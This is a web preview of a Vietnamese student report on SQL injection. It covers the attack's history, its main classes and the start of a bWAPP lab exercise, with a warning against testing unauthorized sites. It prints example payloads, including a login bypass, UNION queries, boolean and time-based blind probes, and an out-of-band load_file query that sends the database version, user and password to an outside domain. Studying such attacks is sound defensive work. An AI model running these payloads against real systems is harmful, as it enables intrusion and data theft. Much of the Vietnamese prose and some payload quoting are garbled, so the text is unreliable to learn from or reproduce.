Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (763.17 KB, 41 trang )
<span class="text_page_counter">Trang 1</span><div class="page_container" data-page="1">
<small>P a g e 2 | 48STT H v tên MSSV Email Công vi c T l % </small>
<small>cơng vic lm 1 Nguyn Đình Hiếu 20215049 hieu.nd215049@s</small>
<small>• Phân lo i nhóm t n ạấcông và demo th ửnghim </small>
<small>33% </small>
<small>2 Trn Mạnh Ton 20215149 </small>
<small>• Các phương pháp phịng tránh </small>
<small>33% </small>
<small>3 Hong Đức Gia Hưng </small>
<small>20215062 hung.hdg@</small>
<small>• Gii thi u và l ch s ịửhình thành </small>
<small>33% </small>
</div><span class="text_page_counter">Trang 3</span><div class="page_container" data-page="3"><small>P a g e 3 | 48</small>
Một trong những rủi ro đ i v i m t công ty vộ ận hành trang web công cộng c cơ sở dữ liu Ngôn ng truy v n c u trúc (SQL) là k t n công khai thác l ữ ấ ấ ẻ ấ ỗhổng SQL injection. K t n công có th khiẻ ấ ể ến cơ sở ữ liu SQL th c hi n các d ự hnh động mà nhà phát tri n kể hông c ý định như tiết l , sộ ửa đổi ho c xóa d ặ ữ liu nhạy cm. Điều này có th làm m t tính b o m t, tính tồn v n và tính s n có cể ấ ậ ẹ ẵ ủa thơng tin trong cơ sở dữ liu của cơng ty và có thể dn đến chi phí nghiêm trng lên t i 196.000 USD cho m i cu c t n công SQL Injection thành cơng (Trích NTT ỗ ộ ấGroup, 2014). Trong bài u lu n này, nhóm tiể ậ em ậ t p trung tho lu n v l ch s ậ ề ị ửcủa l h ng SQL injection, t p trung vào: ỗ ổ ậ
1. Khái ni m và l ch s phát tri n c ị ử ể ủa SQL Injection. 2. Phân lo i các nhóm t n công và th nghiạ ấ ử m.
3. Các kĩ thuật để phòng tránh và b o v h thng kh i các cu c tỏ ộ ấn công.
Lỗ hổng SQL injection đ được biết đến hơn mười by năm v các bin pháp đi ph tương đi đơn gin so v i các bi n pháp đi phó vi các mi đe da khác như phn mềm độc hại và vi rút. Vic tập trung vào lập trình chú trng đến bo mật có thể giúp ngăn chặn thành công một cu c t n công SQL injection và tránh ộ ấmất l i th c nh tranh, b ợ ế ạ ị phạt theo quy định và mất uy tín đi v i các khách hàng.
Do kh năng sử ụng cơ sở d và các ngơn ngữ truy vấn cịn hạn chế cho nên mặc dù nhm đ c gắng hoàn thành tt nhất nhim v c a mụ ủ ình nhưng không tránh khỏi cn c nhiều thi t st. Nhm em r t mong nhế ấ ận được nh ng nh n xét ữ ậthẳng th n, chi tiắ ết đến từthy để tiếp t c hoàn thiụ n hơn nữa. Cu i cùng, nh m xin được gửi lời cm ơn đế<b>n thy PGS.TS. Nguy n Linh Giang</b> đ hưng dn nhm trong su t quá trình ho n thi n B i t p l n. Xin chân th nh cậ m ơn thy.
</div><span class="text_page_counter">Trang 5</span><div class="page_container" data-page="5"><small>P a g e 5 | 48</small>
<b>Chương 1: Sơ lược v SQL injection ... 6</b>
1.1 Gii thiu:... 6
2.2.3 Out- -band SQL injection of ... 17
2.3 Th nghi m SQL injection trên bWAPP ử ... 19
<b>Chương 3: Các phương pháp phòng chống SQL injection ... 33</b>
</div><span class="text_page_counter">Trang 6</span><div class="page_container" data-page="6">SQL injection đề ập đế c n một loại tấn công chèn m trong đ dữ liu do người dùng cung cấp được đưa vo một truy v n SQL theo cách mà m t ph n dấ ộ ữ liu đu vào của người dùng được coi là mã SQL. B ng cách t n d ng các l h ng ằ ậ ụ ỗ ổnày, k t n cơng có th g i các l nh SQL tr c tiẻ ấ ể ử ự ếp đến cơ sở d u. Các cu c tữ li ộ ấn công này là mi đe da nghiêm trng đ ấ ỳ ứi v i b t k ng d ng Web nào nh n d ụ ậ ữliu đu vào từ người dùng và kết hợp nó vào các truy vấn SQL ti cơ sở dữ liu cơ bn. Hu hết các ứng dụng Web được sử dụng trên Internet hoặc trong các h thng doanh nghip đều hoạt động theo cách ny v do đ c thể bị t n công d ấbởi SQL injection. Nguyên nhân của các lỗ hổng SQL injection tương đi đơn gin và d hiểu: không đủ xác thực đu vào của người dùng. Để gii quy t vế ấn đề này, các nhà phát triển đ đề xuất m t lo t các nguyên tộ ạ ắc m ha để thúc đẩy các thực hành mã hóa phịng thủ, chẳng hạn như m ha đu vào của người dùng và xác th c. Mự ột ứng d ng ch t ch và có hụ ặ ẽ thng c a các k thu t này là m t giủ ỹ ậ ộ i
</div><span class="text_page_counter">Trang 7</span><div class="page_container" data-page="7"><small>P a g e 7 | 48</small>pháp hi u qu để ngăn chặn các l h ng SQL injection. Tuy nhiên, trong th c tỗ ổ ự ế, vic áp d ng các k thuụ ỹ ật như vậy là dựa trên con người nên do đ d xy ra sai st. Hơn nữa, vi c s ửa các cơ sở mã k ế thừa có th ể chứa các l h ng SQL injection ỗ ổsẽ là m t nhi m v cộ ụ ực k t n nhi u công s c. M c dù gỳ ề ứ ặ n đây đ c rất nhi u s ề ựchú ý đến vấn đề ỗ ổ l h ng SQL injection, nhi u giề i pháp được đề xuất không gii quyết được tồn bộ phạm vi của vấn đề. Có nhiều loại SQLIAs và vô s biến thể trên các loại cơ bn này. Các nhà nghiên c u và các th c tứ ự ập sinh thường không biết v vô s các k ề ỹ thuật khác nhau có th ể được s dử ụng để thực hi n các SQLIAs. Do đ, hu h t các giế i pháp được đề xuất ch phát hi n hoỉ ặc ngăn chặn m t phộ n nhỏ các SQLIAs có th x y ra. ể
SQL injection được đăng ln đu tiên vào giáng sinh năm 1998 trên bài báo c tên “NT Web Technology Vulnerabilities” cho Phrack 54 của Forest Puppy(rfp). Và tiếp theo sau đ l hng loạt các bài báo v k thu t t n công này: ề ỹ ậ ấNgy 4 tháng 2 năm 1999 – Allaire phát hành – “Multiple SQL Statements in Dynamic Queries”.
3 tháng sau rfp và Matthew Astley phát hành cu n sách v– i tiêu đề “NT ODBC Remote Compromise”.
Ngy 3 tháng 2 năm 2000 - “How I hacked Packetstorm – A look at hacking www threads via SQL” – ở b i rfp.(
Tháng 9 năm 2000 – “Application Assessments on IIS” – Blackhat David –Litchfield.
Ngy 23 tháng 10 năm 2000 – Câu hỏi thường gặp về SQL Injection Chip –Andrews l– n đu tiên s d ng công khai thu t ngử ụ ậ ữ “SQL Injection” trong một bài báo.
</div><span class="text_page_counter">Trang 8</span><div class="page_container" data-page="8"><small>P a g e 8 | 48</small>Tháng 4 năm 2001 – “Remote Web Application Disassembly with ODBC Error Messages”
Tháng 1 năm 2002 – Chris Anley phát hnh “Advanced SQL Injection”. Hai ngy trưc khi Kevin Spett công b bài báo c a mìn ủ h
Tháng 6 năm 2002 – “(more) Advanced SQL Injection” – Chris Anley Tháng 8 năm 2002 – Cesar Cerrudo – “Manipulating SQL Server Using SQL Injection” – Datathief s d ng chử ụ ức năng openrowset.
Đu tháng 9 năm 2003 - Ofer Maor và Amichai Shulman phát hành bài báo “Blindfolded SQL injection”
Cui tháng 9 năm 2003 – Sanctum Inc. ra m t – ắ “Blind SQL Injection” Blackhat 2004 0x90.org phát hành SqueaL - Absinthe –
</div><span class="text_page_counter">Trang 9</span><div class="page_container" data-page="9">Các truy v n tấ i cơ sở d u hi m khi tữ li ế ĩnh – thông tin mà ứng d ng c n lụ ấy từ cơ sở d ữ liu hoặc lưu trữ trong đ thường ph ụ thuộc vào d ữ liu do người dùng cung cấp. Đu vào của người dùng thường dở ạng văn bn đơn gin, ging như chính cú pháp SQL, vì v y các nhà phát triậ ển thường t o các truy v n b ng cách ạ ấ ằghép n i tr c ti p d ự ế ữ liu do người dùng cung c p v i các câu l nh SQL. Ví dấ ụ:
<i>SELECT first_name,last_name FROM users WHERE user_id = 'id_supplied_by_the_user' tr về h và tên c</i>ủa người dùng dựa trên ID do người dùng cung c p ấ
<i><small>Hình nh 1: Mơ hình t n cơng SQL injection truy n th ng ảấềố</small></i>
Nếu khơng có xác thực đu vào, tin tặc độc h i có th s d ng các form nhạ ể ử ụ ập dữ liu c a trang web hoủ ặc HTTP requests để cung c p payload có ch a câu l nh ấ ứ SQL. Nếu ứng dụng ch ỉđơn gin ghép d ữ liu người dùng đ bằng các lnh tĩnh, thì k tẻ ấn cơng thường có th ể thay đổi hoàn toàn cú pháp và cách th c hoứ ạt động của truy vấn ban đu. H có th s d ng các ký t ể ử ụ ự đặc bit như dấu nháy đơn hoặc
</div><span class="text_page_counter">Trang 10</span><div class="page_container" data-page="10"><small>P a g e 10 | 48</small>dấu ch m phấ ẩy để thêm l nh AND/OR b qua l ỏ nh tĩnh. M độc th m chí có th ậ ểcho phép k tẻ ấn công th c hi n các lự nh như DROP (xa bng cơ sở d u hoữ li ặc thậm chí toàn b ộ cơ sở dữ liu). Điều ny được gi là SQL injection.
SQL injection đ tác động đáng kê lên h ng cơ sở th dữ liu nhắm vào các mục tiêu v tính b o m t, tính tồn về ậ ẹn và tính s n có c a dẵ ủ ữ liu (CIA). SQL injection có th x y ra trong b t k ể ấ ỳ phn m m nào giao ti p về ế i cơ sở d ữ liu SQL. Chúng phổ biến nh t trong b o mấ ật ứng d ng web vì các ng dụ ứ ụng web thường sử d ng các máy ch SQL v ụ ủ ề phía back-end. Tuy nhiên, chúng cũng c thể xy ra trong các loại ứng d ng và h ụ thng khác.
Để hiểu hơn về ấn đề v t n công SQL injection, chúng ta cùng tìm hi u mấ ể ột ví d ụ kinh điển v ề n như sau: Câu truy vấn thông thường của cơ sở dữ liu là:
Câu lnh SELECT đơn gin này tr v t t c d ề ấ ữ liu người dùng có liên quan nếu có b n ghi ID và m t kh u kh ậ ẩ p trong cơ sở d ữ liu. Điều ny c nghĩa l nếu người dùng cung c p ID và mật kh u h p l, thì truy v n có th tr về h và tên ấ ẩ ợ ấ ể của người dùng (tùy thuộc vo lược đồ của bng người dùng). Nếu người dùng cung c p ID và/ho c m t kh u không h p l , truy v n sấ ặ ậ ẩ ợ ấ ẽ tr ề ộ ậ v m t t p dữ liu trng. L p trình viên có th s d ng truy vậ ể ử ụ ấn đơn gin ny để kiểm tra xem người dùng có th ể đăng nhập hay không.
Tuy nhiên n u tin t c nh p vào giá tr ế ặ ậ ị id_supplied_by_the_user như sau SELECT FROM * users WHERE user_id =
'id_supplied_by_the_user' ANDpassword = 'password_supplied_by_the_user'
</div><span class="text_page_counter">Trang 11</span><div class="page_container" data-page="11"><small>admin'--P a g e 11 | 48</small> Khi đ, chuỗi truy v n tr ấ ở thnh như sau:
Dấu nháy đơn kết thúc trường user_id và dấu “--” đ khiến cho tồn b ộ
phn cịn l i c a câu truy vạ ủ ấn(phn ki m tra m t khể ậ ẩu) được coi là comment và b ịbỏ qua. Vì th ng dế ứ ụng đ thực thi câu truy v n sau thay vì truy vấ ấn ban đu:
N u câu truy vế ấn được th c thi thành cơng thì tin tự ặc đ hon thnh tấn công SQL injection. Tin t c hồn tồn có thặ ể đăng nhập vào tài kho n admin mà không c n bi t m t kh ế ậ ẩu.
Trên đây chỉ là một ví dụ nhỏ cho ki u tể ấn công đơn gin v đạt hi u qu cao ny. Sau đây, chúng em xin được trình bày về phân nhóm tấn cơng SQL injection
In-band SQL injection là m t lo i SQL injection mà k t n công nhộ ạ ẻ ấ ận được kết qu dưi d ng ph n h i tr c ti p b ng cách s d ng cùng mạ ồ ự ế ằ ử ụ ột kênh liên lạc. Ví d : n u k t n công th c hi n cu c t n công theo cách th công b ng trình ụ ế ẻ ấ ự ộ ấ ủ ằduyt web, kết qu c ủa cu c t n công s ộ ấ ẽ được hiển th trong cùng m t trình duyị ộ t web. In-band SQL injection cn được g i là SQL injection c ổ điển. Có hai biến thể phụ ủa phương pháp ny: c
2.2.1.1 Error-based SQL injection
Error-based SQL injection là m t ki u con c a in-band SQL injection trong ộ ể ủđ kết qu v cho k t n công là m tr ề ẻ ấ ột chu i lỗ ỗi cơ sở d ữ liu. Tr l i mạ ột chuỗi lỗi cho k t n cơng có v vô h i. Tuy nhiên, tùy thu c vào c u trúc cẻ ấ ẻ ạ ộ ấ ủa ứng d ng ụvà loại cơ sở ữ li d u, k t n cơng có th s d ng chu i l i nhẻ ấ ể ử ụ ỗ ỗ ận được để:
SELECT FROM * users WHERE user_id = 'admin'--' ANDpassword = ''
</div><span class="text_page_counter">Trang 12</span><div class="page_container" data-page="12"><small>P a g e 12 | 48</small>- Nhận thông tin về loại và phiên b n c ủa cơ sở ữ liu để ử ụ d s d ng các k ỹthuật tấn công khác nhau cho một loại/phiên bn cơ sở dữ liu cụ th . ể
- Nhận thông tin v c u trúc cề ấ ủa cơ sở ữ liu để thử các ln tấn công c d ụ thể hơn sau khi biết cấu trúc.
- L y d ấ ữ liu ra khỏi cơ sở dữ liu. Mặc dù quá trình ny di hơn v phức tạp hơn nhiều so vi vic hiển thị trực tiếp kết qu của một truy vấn, nhưng kẻ tấn cơng có th thao túng các lể ỗi để trích xuất d u khữ li ỏi cơ sở ữ liu. d
Để hiểu rõ hơn, chúng ta cùng đi vo một ví dụ đơn gin về t n cơng error-ấbased SQL injection: Cho câu truy vấn SQL như sau:
Gi s tin t c cung cử ặ ấp payload cho <i>current_user</i> là:
Khi đ câu truy vấn trở thành:
Dấu ‘’ ở cui c u truy vấ ấn đ vơ tình khiến cơ sở dữ liu tr v l i. N u trang ề ỗ ếweb được cấu hình để hin th lị ỗi trên chính trang web đ, kẻ t n cơng có th ấ ể thấy các thông báo như dưi đây:
SELECT FROM * users WHERE user_id = ‘current_user’
1’
SELECT FROM * users WHERE user_id = '1''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/query.php on line 37
</div><span class="text_page_counter">Trang 13</span><div class="page_container" data-page="13"><small>P a g e 13 | 48</small>Từ thông báo trên, k t n cơng có th ẻ ấ ể thấy rằng cơ sở d ữ liu trang web đang dùng là MySQL và s t p trung vào nh ng lo i tẽ ậ ữ ạ ấn công đặc bi t dành cho MySQL.
2.2.1.2 Union-based SQL injection
Loại t n công ti p theo n m trong nhóm In-band SQL injection là ấ ế ằ <i>based SQL injection. Đặc trưng của loại này là tin t c s s d</i>ặ ẽ ử ụng tốn t UNION ửSQL để tấn cơng. Tốn tử UNION có vai trị k t h p k t qu c a nhi u câu lế ợ ế ủ ề nh SELECT để lấy d u t nhi u bữ li ừ ề ng như mộ ết k t qu duy nh t. C ấ ấu trúc cơ bn của toán t ử UNION như sau:
Union-Tin t c s l i dặ ẽ ợ ụng đặc điểm k t h p k t qu tế ợ ế ừ nhiều câu lnh SELECT đểcó th l y nh ng dể ấ ữ ữ liu mong mu n t ừ phía cơ sở ữ liu. Trưc đ, tin tặc dthường s d ng Error-ử ụ based để tìm ra c u trúc cấ ủa cơ sở ữ li ừ đ tấ d u t n công Union-based một cách nhanh v chính xác hơn.
Ta cùng xem xét ví d ụ đơn gin sau v Union-ề based SQL injection: Cho đoạn truy v n sau: ấ
Các tin t c cung c p payload cho ặ ấ <i>current_user như sau: </i>
Khi đ câu truy vấn trở thành:
SELECT
FROM
SELECTcolumn1 [, column2 ]
FROMtable1 [, table2 ][WHEREcondition]
SELECT FROM * users WHERE user_id = 'current_user'
-1' UNION SELECT version(),current_user()--'
SELECT * FROM users WHERE user_id = ' 1' - UNION SELECT version(),current_user()--'
</div><span class="text_page_counter">Trang 14</span><div class="page_container" data-page="14"><small>P a g e 14 | 48</small>
<i>Các hàm version() và current_user() trong MySQL s </i>ẽ tr v phiên bề n cơ sở dữ liu và tên c a h ủ điều hnh đang sử d ng. Và tin t c có th ụ ặ ể nhận thông tin như sau:
Tin t c ngay l p t c nh n ra phiên bặ ậ ứ ậ n cơ sở ữ li d u là MySQL 5.1.73 trên h điều hành Ubuntu 10.04.1 v cơ sở d ữ liu được s d ng bử ụ <i>ởi người dùng mysql. </i>
Union-based SQL injection là lo i SQL injection nguy hi m nh t vì nó cho ạ ể ấphép k t n công l y tr c ti p h u h t m i thông tin tẻ ấ ấ ự ế ế ừ cơ sở ữ li d u. Tuy nhiên để thực hi n chính xác ki u t n công này, tin t c c ể ấ ặ n đm b o s lượng c t và kiộ ểu dữ liu ở m i câu lỗ nh SELECT l như nhau. Vì vậy trong th c t , tin tự ế ặc thường kết h p c Error-ợ based để tìm hi u c u trúc cể ấ ủa cơ sở ữ liu, t d ừ đ thực thi Uninon-based m t cách nhanh và chính xác. ộ Ở phn th nghiử m, chúng em s ẽ thử nghim t n công k t h p gi a Error-based và Union-ấ ế ợ ữ based để chúng ta có th ể hiểu rõ hơn về ấn đề v này.
<b>2.2.2 Blind SQL injection </b>
<i>Blind SQL injection là m t lo</i>ộ ại SQL injection trong đ kẻ ấ t n công không nhận được phn hồi rõ ràng từ cơ sở dữ liu bị tấn công v thay vo đ sẽ tái tạo lại cấu trúc cơ sở ữ liu từng bưc bằng cách quan sát hành vi của máy chủ cơ dsở dữ liu và ng d ng. ứ ụ <i>Blind SQL injection cn đượ</i>c g i là <i>inferential SQL injection (SQL injection suy lu n). </i>ậ
Vic th c hi n Blind SQL injection có th c n nhi u thự ể ề ời gian hơn vic thực hin In-band SQL injection, tuy nhiên chúng v n mang l i k t qu ạ ế tương tự. B ng ằvic quan sát hành vi của máy chủ cơ sở dữ liu và ng d ng, k t n cơng có th ứ ụ ẻ ấ ểlm được những điều sau:
- Kiểm tra xem có th ể thực hi n các ki u SQL injection khác không. ể5.1.73 0ubuntu0.10.04.1-
mysql@localhost
</div><span class="text_page_counter">Trang 15</span><div class="page_container" data-page="15"><small>P a g e 15 | 48</small>- Lấy thêm thông tin v cề ấu trúc cơ sở dữ liu
- Lấy d ữ liu ra khỏi cơ sở ữ liu. d
Có hai lo i t n công Blind SQL injection: ạ ấ <i>boolean-based và time-based. </i>
2.2.2.1 Boolean-based SQL injection
<i>Boolean-based Blind SQL injection là m t ki u con c a Blind SQL injection, </i>ộ ể ủtrong đ kẻ t n công quan sát hành vi c a máy ch ấ ủ ủ cơ sở d ữ liu và ứng d ng sau ụkhi kết hợp các truy v n h p pháp v i d ấ ợ ữ liu độc h i b ng cách s d ng các toán ạ ằ ử ụtử boolean.
Chúng ta cùng xem xét ví d sau: Xét câu truy v n sau: ụ ấ
Trư<i>c tiên tin t c nhập vào m t d li u bất kì cho trường id ch ng hạn 32, </i>ặ ộ ữ ẳ
<b>kết qu tr về trang web như sau: The product does not exist in our database! </b>
Tiếp theo tin tặc chèn payload SQL sau v đem kết qu nhận được só sánh v i k ết qu khi nh p d ậ ữ liu bình thường.
Nếu kết qu <b> nhận được là The product exists in our database! thay vì The product does not exist in our database! thì tin t c hồn tồn có th k t lu n r ng </b>ặ ể ế ậ ằô d u nhữ li <i>ập cho trường id đ dính lỗi SQL injection. Để</i> chắc chắn hơn, tin tặc sửa payload như sau:
Nếu k t quế tr về ging như khi tìm kiếm bình thường thì chắc chắn ơ tìm kiếm đ bị l i boolean-ỗ base SQL injection. Khi xác định được điều này, tin t c có ặthể k t h p v i mế ợ ột s câu l nh c ủa cơ sở d ữ liu để ấy thêm thông tin như l tên lcơ sở dữ liu, s c t c a b ộ ủ ng, … Ví dụ để l y tên cấ ủa cơ sở d ữ liu, tin t c có th ặ ểlm như sau: Trưc tiên cn xác định độ dài tên bằng payload sau:
SELECT FROM * products WHERE id = product_id
32’ or 1=1 –'
32’ or 1=2 –'
boolean' or length((select database()))=1 ' –
</div><span class="text_page_counter">Trang 16</span><div class="page_container" data-page="16"><small>P a g e 16 | 48</small>Chỉ cn thay đổi giá tr t ị ừ 1 đến khi nhận được k t qu là ế <b>The product exists in our database! thì giá tr ịđ chính l độ dài của tên cơ sở dữ liu. Ti p theo khi </b>ếc độ dài r i, tin t c cồ ặ n xác định t ng ch cái cừ ữ ủa tên cơ sở dữ liu b ng payload ằsau:
Thay đổi giá tr theo b ng ch ị ữ cái đến khi nhận được k t qu mong mu n thì ế
chữ cái đ nằm trong tên cơ sở dữ liu. L p lặ ại payload trên kèm thay đổi đ i s hàm substring bằng đúng độ di tên cơ sở dữ liu tin t c d ặ dng c được tồn b ộtên cn tìm. Trong th c t , tin tự ế ặc thường k t h p nh ng tool t ế ợ ữ ự động để quá trình khai thác hi u qu v nhanh hơn. C thể ể đến như: SQLbit, SQLmap, kIntruder,…
2.2.2.2 Time-based blind SQL injection
<i>Time-based blind SQL injection là m t lo i c a nhóm blind SQL injection </i>ộ ạ ủtrong đ kẻ tấn công quan sát hành vi của cơ sở dữ liu và ứng dụng sau khi kết hợp các câu truy v n h p l vấ ợ i các l nh SQL gây ra s ự chậm tr v ề thời gian.
Chúng ta cùng xem xét câu truy v n sau: ấ
Tin t c cung c p payload nhặ ấ ập vo như sau:
Khi đ câu truy vấn trở thành:
boolean' or substring((select database()),1,1)='a'—
SELECT FROM * products WHERE id = product_id
42; WAITFOR DELAY '0:0:10'
SELECT * FROM products WHERE id = 1; WAITFOR DELAY '0:0:10'
</div><span class="text_page_counter">Trang 17</span><div class="page_container" data-page="17"><small>P a g e 17 | 48</small>Nếu cơ sở dữ liu là Microsoft SQL Server và ng d ng web d b t n công ứ ụ ị ấtime-based blind SQL injections, k t n công s ẻ ấ ẽ thấy ứng d ng b ụ ị tr 10 giây. Khi biết được điều này, chúng ch cỉ n thay đổi payload m t chút là s lộ ẽ ấy được thông tin c n thi ết:
Nếu tên c a bủ ng đu tiên của cơ sở ữ liu b d ắt đu b ng ch cái a thì phằ ữ n thừ 2 c a câu truy v n sẽ ủ ấ được th c thi, t c là ng d ng s bự ứ ứ ụ ẽ ị đi 10 giây. Tin trtặc có th s dể ử ụng phương pháp ny nhiều ln để khám phá tên c a bủ ng đu tiên trong cấu trúc cơ sở dữ liu, sau đ c g ng l y thêm d u v c u trúc c a b ng ắ ấ ữ li ề ấ ủ này và cu i cùng là trích xu t d u t b ấ ữ li ừ ng đ.
<b>2.2.3 Out- -band SQL injection of</b>
<i>Out-of-band SQL injection (OOB SQLi) là m t lo i c</i>ộ ạ ủa SQL injection trong đ kẻ tấn công không nhận phn hồi từ ứng dụng b t n công trên cùng m t kênh ị ấ ộgiao tiếp m thay vo đ khiến ứng dụng g i d ử ữ liu đến một điểm cu i mà chúng kiểm soát.
42; IF(EXISTS(SELECT TOP 1 * FROM sysobjects
WHERE id=(SELECT TOP 1 id FROM (SELECT TOP 1 id FROM sysobjects ORDER BY id) AS subq
ORDER BY id DESC)
AND ascii(lower(substring(name, 1, 1))) = 'a')) WAITFOR DELAY '0:0:10'
</div><span class="text_page_counter">Trang 18</span><div class="page_container" data-page="18"><small>P a g e 18 | 48</small>
<i><small>Hình nh 2ả: Sơ đồ ấ t n cơng OOB SQLi </small></i>
OOB SQLi ch ỉhoạt động nếu máy ch b t n cơng có các l nh kích ho t yêu ủ ị ấ ạcu DNS hoặc HTTP. Tuy nhiên, các máy ch SQL r t ph ủ ấ ổ biến vấn đề này.
Theo tác gi Lee Chun How trong paper <i>A Study of Out- -Band Structured ofQuery Language Injection . C t lõi c</i> ủa truy v n SQL là s d ng nh ng hàm có ấ ử ụ ữchức năng khởi t o các ạ <i>outbond request (thông thường là file_read ho c là remote </i>ặconnection function). H thng cơ sở ữ li d u kh i t o request gở ạ ửi đến máy ch ủlắng nghe nếu như đi kèm các lnh SQL là tên mi n cề ủa máy ch này(ủ <i>FQDN). Để </i>
gửi các request này c n function <i>Fi c</i>ủa cơ sỏ ử liu để gửi các yêu cu. Công dthức xây d ng câu truy vự ấn được tác gi Lee Chun How xây d ựng như sau:
<i>OOB SQLi = Fi (SQL commands + FQND) </i>
Do trong ph m vi cạ ủa bài ti u lu n, chúng em xin trình bày ví d v ể ậ ụ ề kiểu tấn công ny đi vi MariaDB c a MySQL c a tác gi Lee Chun How: ủ ủ
</div><span class="text_page_counter">Trang 19</span><div class="page_container" data-page="19"><small>P a g e 19 | 48</small>Nếu máy chủ cơ sở ữ liu b d ắt đu b ng bi n toàn c c hằ ế ụ thng tr ng
<i>secure_file_priv, trường h p m</i>ợ ặc định cho máy ch MySQL 5.5.52 và MariaDB, ủkẻ t n cơng có th lấ ể c d <i>ữ liu v sau đ sử dụng hàm load_file để tạo yêu cu ti </i>
một tên miền, đưa dữ u đ l li c vào yêu cu đ.
bWAPP là một ứng d ng web mã ngu n m và miụ ồ ở n phí, được c ý l p trình ậkhơng an tồn. Nó giúp cho những người lm trong lĩnh vực b o m t, nhà phát ậtriển và sinh viên khám phá và thực hnh ngăn chặn các l h ng b o m t trên web ỗ ổ ậmột cách h p pháp. Tham khợ o cách ci đặt và cấu hình bWAPP trên b cơng c ộ ụXAMPP tại <i>a/p/huong-dan-cai-dat- -cau-hinh-bwapp- -thuc-vadehanh-pentest-djeZ1EMjZWz</i>
SELECT
load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.',
(SELECT+password),'.',example.com test.txt'))\\
</div><span class="text_page_counter">Trang 20</span><div class="page_container" data-page="20"><small>P a g e 20 | 48</small>Trưc khi đi vo thử nghim, người đc cn chú ý m t s ộ điều sau đây:- Không được thử trên b t c trang web khác. ấ ứ
- Chỉ được th ử những phương án dưi đây trên những ứng dụng được m ở đểthử nghim thâm nhập.
- Nếu người đc th c hi n ki m tra thâm nh p trên ng d ng mà không có ự ể ậ ứ ụtuyên b b ằng văn b ừ chủ ở ữu ứn t s h ng d ng, có th sụ ể ẽ ph đi i m t vặ i các vấn đề pháp lý.
<b>Payload đầu tiên: Vi c nh p d</b> ậ ấu ‘ vo ô nhập dữ liu trên trang web đểkiểm tra xem ng d ng có d bị t n cơng SQL injection khơng. Nếu ô nh p d ứ ụ ấ ậ ữliu được xác định là d bị tấn cơng thì chúng ta cn lên kế hoạch cho các bưc khác để tấn công vào ô nh p này. ậ
<b>Bưc 1: Sau khi ci đặt thành công bWAPP, m </b>ở ứng d ng bWAPP trên trình ụduyt sử dụng URL <i>http://localhost:8080/bwapp/login.php</i> như hình dưi đây:
</div>